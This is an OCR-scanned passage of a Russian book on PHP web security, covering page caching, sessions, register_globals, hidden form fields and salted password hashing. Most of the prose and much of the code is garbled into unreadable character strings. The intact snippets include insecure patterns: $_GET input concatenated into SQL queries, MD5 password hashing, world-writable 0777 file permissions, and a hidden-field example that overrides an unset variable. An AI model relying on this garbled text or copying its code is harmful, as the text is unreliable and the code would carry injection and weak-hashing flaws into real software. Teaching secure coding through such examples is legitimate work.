11 Gcxoson xon crpaws:
i (ReadCache ("HainPage™)==1)
exit;

’

ob_start();
Print ("<CENTER><B>Tnasian crpawiiac/B></CENTER>"
print ("<B>3m0 recronas crpama™) i

WriteCache ("NainPage", ob_get_contents () ;
ob_end_tlush();

OcHOBHOM KOZ ClIEHSPHS HAYHHAETES ¢ 3APOCA 3arPYSKH CTPAHHLS! 13 Koma, JUTA 3T0r0
B AHCTHHrE CO3IANA GYHKLIR ReadCache (). EA mepeageTcs iwa Gailna, KoTophil HYXHO
SATPYSHTS, BEIlb B KaUe MOTYT GHITh COXpaHeHs! Bee Web-CTpasHusl. B AaHHOM ciysae
TOTATYMEBACN, NTO CILCHADHH (ODMMHPYET TEBHYIO CTPAHMLY C MMEHEM MainZage,
H HMEHHO T0 SHQUEHHE M TIEPEAEM B KIHECTBE NApAMETPa.

JlasafiTe Terep, TOCMOTPHM, STO TIPOMCKOTHT B YWKLUH ReadCache (. 316ch MPOHIBO-
TR MpoBepKa cymecTBOBANWA Gailna c yKasaHHbM HMeHeM. Eca Taxol dailn cyie-
CTBYeT, To O MOAKTIONAETCR © NOMOIISIO GYHKIH require () H BOIBPANACTCR Wave-
Hue 1. J11% HATTIHOCTH % €UE BBIBOXY Ha SKPaH COOGUIEHWE O TOM, *TO 3Ta CTPANILE
Gbuna mawra w3 Ko,

BepHEMC K OCHOBHOMY Koxy. EGa yHKIIX ReadCache () BO3BPATIAA 1, TO BBiTOTHE-

HHE CUEHAPHA IPEPHBACTCA. HeT CBICTA TPATHTS BPEMS Ha (JOPMMPOBAHHE CTPAHHL,
eci oHa Gbiia BT H3 Kowia.

Jlarice BBmonHAEN GYHKLINIO ob_staz (), “TOGH HSATS KOIMPOBAHHE BHIBOTA, H HaH-
Haew GOpMHPOBATS CTpanHLY. TIepe TeM KaK BH3BATE GYHKINIO ob_end_£lush (), He-
OGXOMMMO COXPAHHTS COTEPXHMOE CIEHEPHPOBAHHOH CTPAHHLIEL, KOTOPYIO MOKHO 110~
IYUHTS C TIOMOUIBIO G_get._contents (). /I8 COXPAHENHA KOWLIA B HLICM CCHAPHH CO3-
2ana Gy iiricecache(). E HYKHO MEPETSTh WMA CTPAHWISI, 1O KOTOPOMY
onpezenserc uws daina koua. BTopoit NApaMeTp — AaHHBIE, KOTOpHe GyIyT 3amhca-
bt B alin. B Haillew CTYSae 3TO PEsyABTAT GYHKINH ob_get._contents ()

Toene covuanms paiina wmensiorcs ero npasa foctyna wa 0777, wTo cooTseTcTayer
"paBaw, pH KOTOPLIX 0CTYT K Ty paspetrien Bce:

Gchmod ("cache/SCacheNiane. hea, O777);
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Bo 5TOPOM HSAHHH % PeLIHA TIOTHOCTHIO Bce nepemcar, Tlepsas Kiwra Ghuna HanHca-
Ha ¢ HCTIOTH30BAHHEN TIPOCTOTO MPAMOTHHEFHOTO KOAA H G&3 PHMEHEHHA OBBeKTHO-
OpHEHTHPOBAHHOTO IOXOa, IOTOMY HTO & B OCHOBHOM JIETa YTIOP Ha CM A3HIK H Ha
PaTHAHEIE GCTEKTH Ge30MACHOCTH,

B 57OM HYLaHWM 3 PN NOZORTH K HYIOKEHHIO ¢ ApYTOH CTOPOHS! H PACCKAYATH Ba
1po PHP ¢ Goiee MpakTecKoi TOWKI 3peiA 1a pHvepe Goree peansHoro caifra. Mt
GyieM mucaTs GAWSKHH K PEATHHOMY CAfT W OTHOBPEMEHHO PACCMATPHBATS Gesonac-
HOGTS # PASTHHBIE BOTOCH POHSBOTHTELHOCTH.

Celftac yke HHKTO He MHIET Ha CTOM PHP, TIOTOMY TO €10 MOAHO BOCTpHHHNATS
Kak Gasy /1% MpHIOKEHHS. B PEATbHBIX GOCBHX YCTOBAX MPOTPAMMHCTSI BHOHDAIOT
dpefinBopky

'KOMNAKT-IHCKH YAKe HHKTO He HCTIOTk3yeT, n MIHTEPHET CTAT CTHIIKOM A0CTYTIEH, 110~
atomy Zvicka K knre Gombie He Gyzer. Bee HCXOAWBIE KOS MOAHO GyxeT WaliTH
Ha caite wyaTenscrsa "BXB-TIeTepOyYpr” (cu. npuiodcenue) WiM Ha MoeM. caire
www.flenov.info s pasene Knurw.
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eKTPOHHaR 10T (OTOMY WTO Sendmail Takoke MOAET GHITS CKOMIPOMETHPOBaH),
W ApYTHE pecypes Cepaepa;

O mpn oGpautenwH K Gase AaHHEIX. ITO BOOGIIE OTIETEHAR Tewa, OBCYKIATS KOTOpYIO
MOXHO sacawi. Xakep cTIOcoGeH MOysHTh 0CTYN K Gase JaHHHIX He TOTHKO ¢ 10~
MOUISIO BALIETO CUEHGPHS, HO 1 YEPE3 MPAMOE COSTHHEHHE, ECTI CEPBEp JOCTYTIEH
IR TIOZKTIONEHNA HIBHE

Bes0nachocTs 1 MPOMIBOTHTETBHOCTS MOTYT GHTh CROMNHBIMH TIOHSTHSMM, 3 MO-

IYT GbiTh MPOTHBOpESHBHINH, TO3TOMY 00€ MPOGTEMS! IOTKHH PAcCMATPHBATECH
conmecTHo.
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<br>scopy; Mikhail Flenov 2005
<fcenters</p>

</pody>
<htm>

B 970w npHMepe B0, *TO ceanc covaeTes b camom wasane daitna. Ko nposcpt 1
HCTOI0BHIHA CEAHCOBO TIEPEMEHHOR HAXOTHTE YKe B Cepente Gaiia ClieHaphs.
JUA% MpOBEPKH, YCTAHOBTEHa I TIEPEMERHAR, & HCTIONKIOBAN PYHKLIIO isset (). ECTH
GEAHCORAA IEPEMEHHAR user HE CYLECTBYET 7K (ailia CUEHAPHA, TO PYHKIS BepHer
£alse. TIpi MPOBEPKE M YKESATH CHMBOA OTPHUANHA (BOCKTHUATE B SHaK), & 31a-
U, €CH TIEPEMENHAS HE CYILIECTBYET, TO BHOBETCS YHIKIIAS OCTAHOBKH BRITOTHEHHA
GUEHAPHA die () ¢ COOBULICHHEN O HEOOXOTHMOCTH ABTOPHALAH Ha CaliTe

Orxyza wirepnperarop PHP amaer, #To cefiuac WaeT onpeaenentiii ceanc 1 nocae 3a-
KpHITHA Gpay3epa ceanc samepuiaeTca? Y KAKIOTO CEanca ecrh ool WIEHTHDHKATOD
SID (Session ID). Tlocrie samycKa ceatica ITOT WAEHTHOHKATOP COXPAIAETCA B cookie,
K21 MOCTCTYIONAn CTPAHWLA NIOCTE BHNOTHERNA QYHKIIH seasion_start () HAXo-
T 5ToT SID 1 HEPES HrO MOTYHAET 0CTY K CEAHCOBIM 1aPAMETPAM.

Pansinie Gpayseps Gsum HacToTeKo "Gesonachsivi”, STo Mo3soAAN oTmoUaT cookies
4332 GOAHM, 1O CalT COBMPAIOT KAKYIO-TO WHQOPMALIO O NOTH3OBATEIAX. S CHk-
a0, ¥TO 370 NapaHOis. Hy, BHSCHNT paspaGoTHH calia, KaKHE & CTPAHMII TIOCNOT-
Pes, W 4TO? OH W Tak YIHAET, IOTOMY ¥TO CEAHCH MOKHO PEQTH3OBaTS W 6¢3 cookies.
Hactmnpuxatop SID comaetes B moGom CAyHa€, W Er0 MOAHO Nepenaars Moboi
CTpaHHLE Hepes NapaMETPI FOST WIH GET, a BeE IEPCMEHHBIE XPRHHTS Ha cepaepe B Gase
ZaHHbX, B KOTOPO NIOTH30BATEb GYET WIEHTHHUNPOBATLEA o SID. HHTepHeT o~
CTpOSH Ha OTKPHTHIX CTAHIAPTAX, & 570 W €CTS OGHOBHAR MPOGeMa. Heks JauuimiTes
O FPAGHTEIIEH, €CH KO OT TBOENO KOIOBOTO 3aMKA WABECTEH KaATOMY. OTKES OT Y106~
CTBA HE TIONGKET PEIHTS MPOGENY GE3OMACHOCTH, & HAOGOPOT, YXYUIHT.

Kora Gpaysepi omctiosan cookies, b PHP GbLia peationana BOSMOKHOCTS nepena-
sare maewTHuaTop ceccum npavo B URL. 1o yxacro, noroy o Taxofi URL nerko
JKPACTS  OH COXPAHAETCA B AYPHATAX GE30NaCHOCTH B OTKPHITOM Bize. Tipuwiep URL
© WAEHTHAMKATOpON ceccin b CTPOKe:

hitp://192.168.77.1/1/session2. php?PHPSESSID=
$a22009172339¢71525288b33188703d& UserName=Tet

B URL ecTs, niapawerp eH2SESS10, KOTOpbi Kak pas W snseTes waeHTHikaropo SID.

Haermupuxatop MoKHo 10GasuTh K URL aBiiv oGpasow. B CeIyiomem npuepe
B KavecToe axpeca, Wa KOTOPSI NEPCNOTCA JaWHbIe (OPMH, yKiam session?.
et

<tom action"

ession2.php?e?-S10?
User Name: <input nane="UserName">
<input type="submit™ name="sub" value="Go">
</tom>

method=rget”
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Bo BpeMs TOBEPKH HYXHO PACCTABHTS MPHOPHTET, CHAMATA HYAHO IPOBEPATS Hai-
G0/1ee HACTO BCTPEHAIOIIHEC OLIMKH HIH TIPABITHAIE peaxita. HanphMep, Bt XOTHTE
sanperuTs nepenaty B Gopmy HTML-reros. Ka 970 MoAHo cienars? Briome Aorws-
HuiM GBun0 Gt MCIOABIOBEHHE PErYIAPHBIX BHIPAXEHIH, KOTOPHIE TIOBCENECTHO HEroh-
aytorca b Perl u, HabepHoe, Graronaps ey noysi pacnpocrpanente. Ho orn pabo-
TAKOT HE TaK Y H GHCTPO, & CaNOE CTPALINOE, TIDH CO3AHHM PEry/IAPHOTO BHPEKEHHS
ETKO OUHGHTLCA.

CaenaiiTe cavana Bce MOBEPKH, KOTOpIC He TPEGYIOT GOTLIINX 3aTPaT, HANPHNEP,
TIDOBEPKH Ha PASMEP CTPOK, Ha MYCTHIE CTPOKH HIlH OTCYTCTBYIOUIHE SHAUCHHS 1 T. 1.
MOKHO PERTH3OBATE MAKCHMATEHO BOSMOKHOE KOTHIECTBO TIPOBEPOK Ha CTOPOHE K-
enTa ¢ nowoutsio JavaScript. B 5Tom cysae Gpaysep IPOBEPHT 54 HAC ABHHHE Ha K-
€HTE, HCIONb3YA PECYPC! MOTB30BATEN. PEsyabTaT GYAET NOTysiCH MIHOBEHHO, W 310
SHASHTENLHO YBETHUIT CKOPOCTD. OJIHAKO HE CTOWT ZOBEPATS TaKHM NPOBEPKIM, T. K.
XaKephi MOTYT 0GOFTH Gt MpoBEpKH JavaScript, TIOTOMY §TO OHH 7€TKO OTKTIONAIOT-
A C OMOUIHIO Gpay3epa. A IpH HCIOLIOBAHMH CTIEUHATHSHPOBIHHEIX YTHINT H BOBCE
He HyxHO YOWpAT Takve npoepkw, Ta JavaScript pabotaTs He Gyer. Tax ¥To Wa
Gpaysep Hallefics, a caw He IUIOWIAR: Bee NPOBEPKH JOTKH GHIT Kak Ha CTOpOHE KTk~
ena, TaK i Ha ceppepe.

'ECH THCaTS MPOBEPKI Ha CepBEp H 1 KIWEHTE, TO 3TO OTHHMET MHOTO BEMHH 1 pH-
JETES NOEpAHBATS MHOFO KO8, TpieM JavaScript-pobepkw GyAyT AyGTHpOBATS Te,
To peansoBansi Ha cepaepe ¢ nowoutsio PHP. Ho B 1aHoM cyuae saTpat onpas-
arm. BOTHWMHCTBO nOceTHTENeH caifTa GYAYT I0GPOCOBECTHIMM TIOMB3OBATENAMH,
He CramyT 0GXOMHTh JavaScript-cHTeMy GesonacHocTw, i A1s Hisk paGoTa caiira Gyer
HAMHOTO Bbie.

TIpOBEpKi A0KIE GHITh BEITE H HE TOTHKO TeX IaHHBIX, KOTOPHIE TPHXOTAT OT 1107530~

BaTens. ECIH GYHKLIA WMECT KO BOSBPETA, CBWICTETBCTBYIOUIAA 0 NPABWISHOCTH OT-

'PAGOTKH, Bbi OGA3ATENLHO JOMKHE YOEIHTECA, HTO BO BpEMA PaGOTs! YHKILAH He GHuto0

‘OUIMGOK. 3eck HETb38 PASTPAHKIHTE, Y KaKHX GYHKLIT HYAHO IPOBEPATS KON BO3BPa-

Ta, @ MoCTe KIKIX MOKHO MpEHEGpet AWM onepaTopow . TIpoBepKi 1OKHE

Gbims, Beerna. TIPOCTO B OANMX CAYSANX MPOBEPKE HALO YACTHTS GOThuIe BHMMANHA,

PYST T ——

OcoG0e BHIMAHMHE IOTKHO YIETATHCA NPOBEPKAM B CTEIYIOUIX CTYHaAX:

O TP MOy eHMH JAHHAX OT IOTK30BATENS. 51 AYMAIO, HTO TYT He HYKHO MHOTO OG-
SCHATS, Beab ¢ auw Web-caifTom paGOTAIOT HE TOKO Z00POCOBECTHHE NOTH30B-
TeAM, HO W BUIOMILINKI, KOTOPHIE MOTYT TIEPEAATS MPOTPAMME CHCTEMHBIE KOMAHIH
B BiEe MapaMETPOB. OF JTOM Mbi YKe FOBOpIIH B 21dse 23

O nph oGpaueniH K cHETeMe. BATOMILIMK MOAET CKOMITPOMETHPOBATS ke pailnonyio
‘cucrewy. Hanpiwiep, paus cuenapiii eromsayer Gai Ha aeke. Ecn Xakep cyve-
€T ynaIHTs HeoGXOMHIH ai, TO BO BPENS MONITKH OTKPHITH €ro PHP-dywKuis
BLUTACT Ham OUIMGKY. Boi JOTKH OTPEATWPOBATS Ha Ty OIMOKY H MIDEPBATS B~
nOMHEHHE CueHapHA, WA TanbHeHIaA aGOT MORIET 11O HEMpEBHAHHOMY KYP-
Y, H XAKED CMOKET BOCTIOMSI0BATECA THM. K CHCTEMHEIN PECYPCam OTHOCHTC H
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npiwep,  Intemet Explorer 11 37010 HykHo BeiGpaTs Mewo Bua | B saze HTML
(View | Source). Tio6ofi XaKep CMOAET YBHIETS ITOT NIapameTp B HCXOIHOM KOZE, & €CT
Hat0, 10 W wiwennTh. Cobpenennbie Gpayseps Chrome u Firefox nOsBOIAIOT MesT
HTML, npavo e noxas crpaus ¢ nowousio Developer Tools.

ECH B He SHACTE, KAKHE JHHBIE SBTAOTCA BEKHHINK, & KAKHE HET, TO He HeronbsyiTe
10T MeTon Boodiute. COXpansITE BIKHBIC QHHbIE B APAMETPAX Ceanca win b me
RBHHbIX, HO HIKOTAA HIFSETO BEXHOTO HE XPAHITE B CKPHITHIX Napauerpax Gop i b
T10GOM pYTOM Bz, KOTOpHIH NEpeaeTes Gpaysepy. ECTH HEOOXOIMMO, OGH3aTeNsHO
Weronksy¥iTe wpoBarHe TaNHHX.

C noouHo WACTPOeK WirTepnpeTaTopa (dalin php.ini) B MOKeTe MORTAATS Ha Napa-
METPHI, & TouHee, Ha HX PAGOTY, ¢ NOMOILIIO IHPEKTHB register_globals. Ecin oTa
AUpeKTHB BKTIONEHA, TO GYIYT ABTOMETHECKI CO3IABATECA IIOBATBHBC MIEPEMEHIHIC
AR EpEAABASHMLIX. NAPAMETPOR, HHANE MPHICTCA AAMHHE MOTLIOBATENA MNTATS HEPes
CIEUHATHIHPOBAHHHIE LAOGATHHBIE MACCHB.

TH0GaTHHBE nEpeMeHHbie mpolte W YI00HEe, XOTA Y HHX ecTh npoGieMs ¢ Gesonac-
HOCTSH0. EGITH HEBCPHO HCTIOTSIOBAT TIEPENCHHBIE B KOE, TO XAKEPB! MOTYT NOBIHSTS
Ha KO cutenapis. F3-3a TOFO HTO MPOTPAMMMHCTS! HACTO HEBEPHO HCTIOTH3YIOT MepeMet-
Hble, CeIfYAC 110 YMOTHAHHIO PETHCTPALINS FTOGATHHAIX TIEPEMEHHBIX JaTpeLieH.

B 5Tom cryuac Bce IHaseHHs, KOTOpHIE MEPERAIOTCA METOTOM FOST, GYIYT AOCTYMHS
HEPEs MACCH 5_FOST (sncx neperescio. MMA IEDEMEHHOM 110 Wiee IOTKHO GBITb CTpo-
KOfi 1 MIEPEAABATLCH B KABIMKAX: §_FOST| *usexnane . HO €CH Bl 3a0YTe KaBbriki,
Kol Bce paBHo GYA€T paGoTaTs KoppexTHO. Jlyuile Bee e KaBbiAKH YKasHiBaTh.

T1apayieTps, EPEIABAENSE METOTOM GET, AOCTYTIH HEPE3 MACCHS § GET acr nepesensr

TIOGMOTPHM 13 TPHMEP BOSMOAHOTO YATBHMOTO KORA 15-3a aBTOMATHYECKOTO COVIAHHA
nepeneol:

i (1sset (susernane) 46 Susername 1= '") {
svalid = true;
'
i (svalia)
onaciast Ko
'

Tlpoinena TyT B TOM, HTO nepemenHOf Svalid HHKOTAR SBHO HE MPHCBIMBAETES THaie-
Hie 10 ymonuaHIO. 51 Hazeiock KA HaueHHe, KoTOpoe cosnact PHP, a oo Gyxe false
ann norwseckix nepeentnix. Ho 4o, ecii Xakep 200aBHT b cBoro (Gopwy crexyiouuti
Kom:

<input type="hidden® name~

114" value="1" />

38 CHeT MHCYTCTBNA 107 ¢ HveHeN val i PHP COJIACT TaKyo TIEpeMeRNYIo, H 10Tk
BTIOTHEHWA ClenapHA HIMERHTCs. Tereph AKE €CTH Susernane OTEYTCTBYeT, Onacisi
Koa ByA€T BHTOHEN, NIOTOMY TO Svalic pasha | Wk HCTHHE

EC Bt He yBepeHs! b CROWX CHTaX Kak MPOTPAMMACT, TO BCETIa OTKTIONAITE perneT-
PLlio TIOGATAHAIX MEpeMCHHBX  NoTb3yfiTeCh MaCEHBaMH §_GET M §_posT. Ecai pern-
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Msi CPaBHHBIEM CTPOKW, TIOSTOMY €CTH TIEPENEHHAR Susernare HE CYIECTBORA, TO
WHTEpIIDETATOp GYET CHUTATS, 47O Taw N1YCTas CTpOKA B CAY'a HAULETO CPABHEHHK

i (susernane <> ")

Bee Bpojie Gbi B NOPAIKE H BeE BPOTE G PAGOTAET, HO MYCTaR CTPOKE — 3TO TOXE 3Ha-
seie. B CTyHac ¢ MMEHEM NOTbIOBATENR IR HC BCE PABHO — MYCTA CTPOKA WK 3Ha-
HeHHE OTCYTCTBYET BOBCE, ZUTA Hac 06a BapHaNTa Hemepiki. Ho \To eci 510 Heobwa-
TesHoe Moe? ECTH NOIOBATENTs HHYETO HE BB H NIPOCTO OTIIpaBHA $opMy 0GpaTHO
cepBepy, TO CUEHIpHIi BEPHET MYCTYIO CTPOKY, HTO UIA HEOGATATELHOTO M107A BIIOTHE
seransio.

KEATEbHO CPABHMBATS Ha CYILECTBOBHHE SHINCHINA © NOMOLILO YHKIAN Lsset ()
ECH GyHKUAR BOSBPAILAET ¢ zue, TO IEPEMEHHIS HE CYLECTRYCT BOBCE.

HYKHO TIOCTORNINO MOMNHTD, STO IPOBEPKA 8 TYCTYIO CTPOKY PABHOGITLHA MPOBEPKE
W0 MYCTYIo CTPOKY M OTCYTCTBYIOUee sHaveHHe. H OOHITENSHO AenalTe MOBEpKY
¢ NONOBO Lssec () nepBOR

i€ (susernane <> ") (

retum "Tycror

i

it (issec (Susernane)) {

'

'Bropas npoBepKa HHKOTa He GYACT BHIOTHEHS, NOTOMY 4TO NOGAE MEpBOFO CPABHENTS
© MYCTO CTPOKOH BTOTHHTCA OMIEPATOP xetuzr, KOTOPH SABEPUINT BHITOTHERHE Me-
Toza.

OBparuTe Banye, “TO Ha GOpME AKe He OOTIATENLHA KHOMKA OTIDABKI ZAHHIIX.
JlocraTouso Hakas Kiabiuy <Enter>, HAXOIACh B TOGOM o€ opu.

C MOMOILIHO (JOPM MOXHO iepeAaBaTS 1 cxpbimbte napavempr. CKEDKEN, NOMHNO Hye-
HIH TIOTB30BATEIA Bbi XOTHTE 1EEIABATS €ILle KAKOE-TO SHAUEHHE, KOTOPOE HE ZIOTHO
G BAHO B opMe. JUTH ITOTO Bet MOXETE COMIATS HEBHTHMOE oTe B30T Hanpi-
Mep, B creayiouiei opME €CTh ABA NO7A BBORA: Userkiane 1 Passuord, HO BTOPOE NOTE
e GyzeT BMaHO Ha OpME, NOTOMY HTO Y HETO YKEH NAPANETP ype (THR), KOTOPOMY
MpHCBOCHO IHasenHe hicden (HeBMANM):

<tom action="paran.php" method="get">

assuord” value="quercy” />

Tlonte Zassword HEBHINNO, HO COTEpXHT Hauenwe. Takim OGPIIOM MOAHO mepeasaTh
O CUEHAPHA K CUEHAPHIO OTIpEETeHHHE Aabe. TEMeps TOCAE MEpERasH NaPaMETPOB
¥ cutewapun param.php GyIYT Zbe riepementiie, SUseriare W $7assord, ¢ YCTAHOBTEH-
I p—

HiKOr 1 e mepeaBaiiTe TaKiw CTIOCOGOM BaIHE aniHe. XOTA NOTe Napos Hewh-
20 a bopwie, Gpaysep mosmOTRET MPoCMOTPETS MexomHbiH kox HTML-ops. Ha-
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Tlpusey eue onun npiwep. TO1 HAAT XaKEPH BHIOMATH CEPBED XOCTHHIOBOM KO-
Wi, € HAORICA MO calfr. 8 COOGIIT 06 TOM AIMHHHCTPALIHH, H 4€Pes Hac KO Mie
TPHILIO NHEHNO, 91O BCE NIAPOTH TPHHYANTELHO MERSIOTCA. HTOOH BOCCTAHOBHT T~
PO, HYKHO GbLIO BOCHOLIOBATLCA CHTEMOT "BCOMIHTE Napo”, Tpi KOTOpol €ro
oTpaBTATH Ha arpec e-mail, ykasanbii pH PerHCTpaLAH. Cavoe CTPALIHOE, HTO TOT
axpec & yKe IABHO 3A6POCHI, H €10 SAKPHAN. UTOGH NOTYHHTS NAPOTE, MHE IPHILIOSS
OTIIpABNTE TENCrPAMMY B AIEC XOCTHHFOBO/ KOMTIAHHI C MOHMM ABCPEHHIMH nac-
TOpTHH AarisiH. TGk COOGUIEHNS N0 HIEKTPOHHON NONTE MIHOPHPOBATHCS, 1
Ao He BhiChTATHED. Jla, 9TO JOCTABILTO MHOKECTBO MPOGACN TIETaTbHBIM MOABI0Ba-
TETAM, HO 30TO MOKHO GBI TAPAHTHPOBATS, 4TO Hit OZHH XAKED HE CMOKET MIEpeXBa-
THTL ypaBTEHHE MOWM CalTON

Bii MOKETE CIpOcHTh, a NOYEMY Hefb3s G6UIO OTTIPABHTS MACTIOpTHIE AQHHBIE TIO J7ek-
TpowNOii nosTe? Heysa. JIE0 B TOM, STO 9Ty AQHHSIE MOFH GHITb YKASaHH TIpH peri-
CTPAILAN JOMEHa, & AT, 00T XAKEP MOAET YBMAETH HX Yepes C1yGy Whois, B
CITL 10 €-Mail AMHHVCTPATOPY CEpBEpa H NEPEXBATHTS MO IapOT. A BOT OTIPABHTS
aBepeHHYI0 TEAETPANMY HAMHOTO ClOAHEE,

HeoGpaTioe. WIHPPOBANIHE MOKHO HCTOTB3OBATS H AUIA TIPOBEPKH UETOCTHOCTH Ak~
wuex. Hanpiniep, COVIATS B TaGHuE OTAETHHYIO KOTOHKY, B KOTOpOH GYZET XpanHTbes
SAUIHPOBAHHbIF BIPHAHT BCeX MOTEH, ECAH XAKED CMOKET HIMEHHTH COTEPRHMOE Ol
HORO 13 MO7EH, HO He WIMEHHT 3aILIHPOBANHOE MONE, T B CPATY A JAMETHTE HTO-TO
nozo3pHTEABHOE

Xpanurs saimponannbii apHanT BceX noneil HeXpiexTHENO, NOTOMY 0 370 MoTpe-
Gyer cmuKoM GOTBIINX Acxon0p. HEOGXOMMO OTPRHHMHTECA TOTEKO OCHOBHHINH
nonswi. Hanpwviep, MOHO 3auunDpoRaTh naporis ¢ nomouisto arropuTma 3DES, a o-
TOM NOCPEACTBOM MAS JAUMBPOBITH HMS NOAKIOBATEN 1 YKE SaUHbpOBAHHBIA
PO, TAKOE f10e HAIOBEN KOHTPOABHO/ CYMMOH. TOT12, €CH XaKEp TIOMHTAETC HiMe-
HHTS MM WIH 12O, HO He TIEPECHHTAET KORTPOBHYIO CYMMY, Bbl GHICTPO OGHApY -
T TIONMITKY BYIOMA M C TIONOULO CUEHZPHS CMOXETE MPOCHTHATHIMPOBATS O Hell
(OTIpaBHTS CooBieHHe Ha ATpEC ATMHHHCTPATOPa) H SATPETHTS BXOI € HCTIOTK3YEMOTO.
xaxepow IP-anpeca.

B peantinix npOrpaNNAX He PEKOMCHIYETEA XpaHHT Maponi b oTKpbToM Bwze. O
AOTAHB BCETA WHBPOBATLEA, HATIPHME C TIOMOUISH0 MAS, W XPAHHTECA b Gase AGHHEX
W8 aiinax cookies b 3aumMBPOBANNON BITE. B TOM CTYHAC HESA W3 MAPOTH YIAIATE
GyKbl, HHate GYET HAPYLUEH] XeLl-CyMMA (KOTOPAA COCTOMT HE TOTBKO M3 P, HO W
GYKE),  cpaBtenHe IsYX SauIN(POBANLIX RAPOTEH MOKET BLITATE HEBEpHIH Pesy.ib-
TaT. T2 NpOGENA PEUIACTCA IOCTATONHO MPOCTO — He MCTIOMB3YHTE MepeMeHHYIO
 naponew b 3anpoce. B STom c71yae MPOBEPKa NAPOTA JOKHA BHITOTHATECA TPHMEPHO
cnemyiouwm oGpason:

Squery = Deguery

ELECT * FROM Users WHERE (name = 'Sname’);

Susers = mysql_pum_rows (Squery) ;






index-155_1.png
158 rnosa3

‘Teneps, TG CaoMy POBEPHTS BBEEHHAI MOTLIOBATEIIEM NIApO Ha COOTRETCTAMHE
oMy ey, aenaem Tak:
Squery = mysql_query ("SELECT * FROH Users WHERE (name = *S_GET(name] "

“RND pass = * . mdS (5_GET (password] . }3sdez235%)

B/ Bbi mmeTe HeGOTbUIyI0 MPOTPANMY, KOTOpYIO GYIETE HCTIONSI0BATS B CBOWX iie-
X, T0 97O JLINTH YKe GYAET JOCTATONHO, TIOTOMY 4TO XaKep He GYeT HATpHBATHC
At eauHIHOrO B3710wa. HO €CTM Bbi HAMMCATH MONYADHELH (GOpYM HIH Oy TAPHYIO
MPOTpaNNY, KOTOpYI0 GYET HCTIOMs30BATE Ha pocTopax HiTepiiera Kaxwiil BTOpoii
Galfr, TO XaKep MOXET Bee A€ NOTPATHTS BPEMS H CTCHEPHPOBATS TAGTHLY, B KOTOpOH
GYIYT BCE BOIMOKHBIE XeILIH A1 CTPOK, OGBEIHHEHHbIX C BalleH "Conbio” §33dex235.
KK e 3aupmuTecs B 5Tom cysae? HykHO CAeTaTs "coms” wswensenolt. Moxio s
KEX0TO NapOA reHepHpOBATS CTyMaHbIM OGPA3OM CBOIO "COT" W HCTIOTHIOBATS €.
Tlocae 3Toro coxpanTh b Gase He TOTBKO Xew PO, HO H Cawy "coms”, <ToG B Gy-
AL €€ MOKHO GBI HCION30BATS 18 CPABHEHMS.

Ssalt = crewepuposats Suauewie;
Spass = nds (5_GET[password] .$salt) ;

mysql_guery ("INSERT TNIO users (name, pass, salt) .
"VALUES ('S_GET(nanel ", "Spass”, $salt')");
‘Tereps MPoBEPKA NIOTSIOBATES MOKET BHIIAAETS TAK:

5 GET(user] ~ addslashes (5 GET (user) ) ;
Sresult = mysql_query("SELECT salt FROM Users WHERE

name = 'S_GET (name] ") ;

i€ (list(ssalt) = mysql_fetch_row(Sresult))
‘
Squery = mysql_query ("SELECT + FROM Users WHERE (nane = '$_GET(nane]
"RND pass = ' . mdS(s_GET (password) . "Ssalt") . ")
Srous = mysal_nun_rows (Squery)
if (stous == 1)
l
1/ nomsosarens ecrs s Gase mawm
)
)
e1se
die "Mapons nesepen”

A ZEHCTBHTETBHO TH HYHO 'TO-TO TEHEPHPOBATS, 1 eute W CrysaliHbiM oGpasou? Jla,
370 Gy/ieT O XOpOUIas H HATEXHAA SAULNTA, HO B GOTHIIHHCTEE CYYaEB IOCTATOHO
Hero-To Gonee NPOCTORo, e y pac HeGoTBuION caifr. Hanphwiep, y Hac yke ects b Gae
GHHHX WOMEHAEMOE TIOTE, KOTOPOE CYWECTBYET BCETIa W YHHKATLHO AR KAKIOTO
nOMB30BATENA, — 97O ero s, Ualie BCEro MMS YHHKISHO, H N0ITOMY €10 BTIOTHE
PES0HHO MOAHO HCTIOTII0BATS B KatecThe "CoTH'

Spass = 5 ($_GET(password) .$_GET (username] ) ;
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Suser_data = mysql_fetch array(Squery)
i (spass = Suserd(pass])) (
)

B GHHOM CTy%ae Ms! BHINOTHAEN 3aMPOC K GA3e AQHHBIX C NIOHCKOM JANHCH TOTBKO 110
WMeHH. 3TEM IPOBEPAEM KOTHYECTBO MOAYHEHHBIX CTPOK. ECTH OHO PABHO HYTI0, 3Ha-
AT, 3amHCH He MaiizeHs, W paGOTA CuEHapA 0K GbiTh mpepsana. EcTn cTpoKa
OMsI0BATENS HALNENA, TO MONYACM € JAHHEIE 1 € MOS0 ONEPATOPa 1 MPOBEPAEM
napons. Moo eKaTh B Gase cpasy 1o WMEHH W NGpOTIO, 9To TAKKE GYIET A0CTATOHO
dexrsio

ynxuas vBgusry () He ABAsETCR hyHKiei PHP, OHa IPOCTO CHBOTHIHDYET Kakylo-T0
YK, KoTopas nonyuaeT AaHHbE W3 BJL.

51 yKe TOBOPHI, WTO B Gase ZQHHbIX NIZPOTh He AOTKEH XPAHHTHCA b OTKPHITOM BHAE.
BNECTO 9T0T0 OH Z0MKeH GbiTb 3a1LDpoBaH HEOGPATHMBIN OGPAI0M ¢ TIONOLBIO ATFO-
pimva MDS Wik Ipyriw CTOMKHM NeTono Xeuwposarns. Ha tawnsii owert MDS
ABISETCA BTOTHE AOCTATOUHMNIM. ITO AATOPHTN, 110 KOTOPOMY J@HHIC NPEoGpayIOTes
B Xew HeoGpaTMBiM 0Gpasow. OGPaTHOE peOBpIIOBaHE HEBOIMOHO.

JIOCTOMHCTEO XEWHpOBAHHS 3AKTIOSGETCA B TON, HTO XaKepy CIOKHO YIHATH pearsibii
apos, KOTOpbiH HYAHO BBOHTE. OGPATHOE NPEOGPAIOBANHE MOKHO CAEAATS TOTHKO
Gaanbisiv nepeGopow. HyHO samycKaTh LK, KOTOpbIH GyIeT XewHpOBaTS Bee:10-
NYCTHMbE IHAYCHHS H CPABHHBATS PEYSTAT C HYKHOR Xew-cymwoR. Ha nepabii
BITIAL 310 O4€Hb YCTOKHAET BYIOM PEATBHOTO MAPO, HO TYT €CTh OIIHA MPOGTEMa —
X craTiaiei, Xakep MOKT O7IH Pas CreHEpHPOBATS Oy GOTbUIYIO TaGIHIY, B Ko-
TOpoi GYAYT HEXOIATECA BCe BOIMOKHMIE THAYCHHA (CTIOBA H CHMBOTH) H COOTBETCT-
Bylowke M Xeluw. Teneph He HYAHO HHNETO reHepHpOBATS. Bepem T0GOf Xews H Hitlew
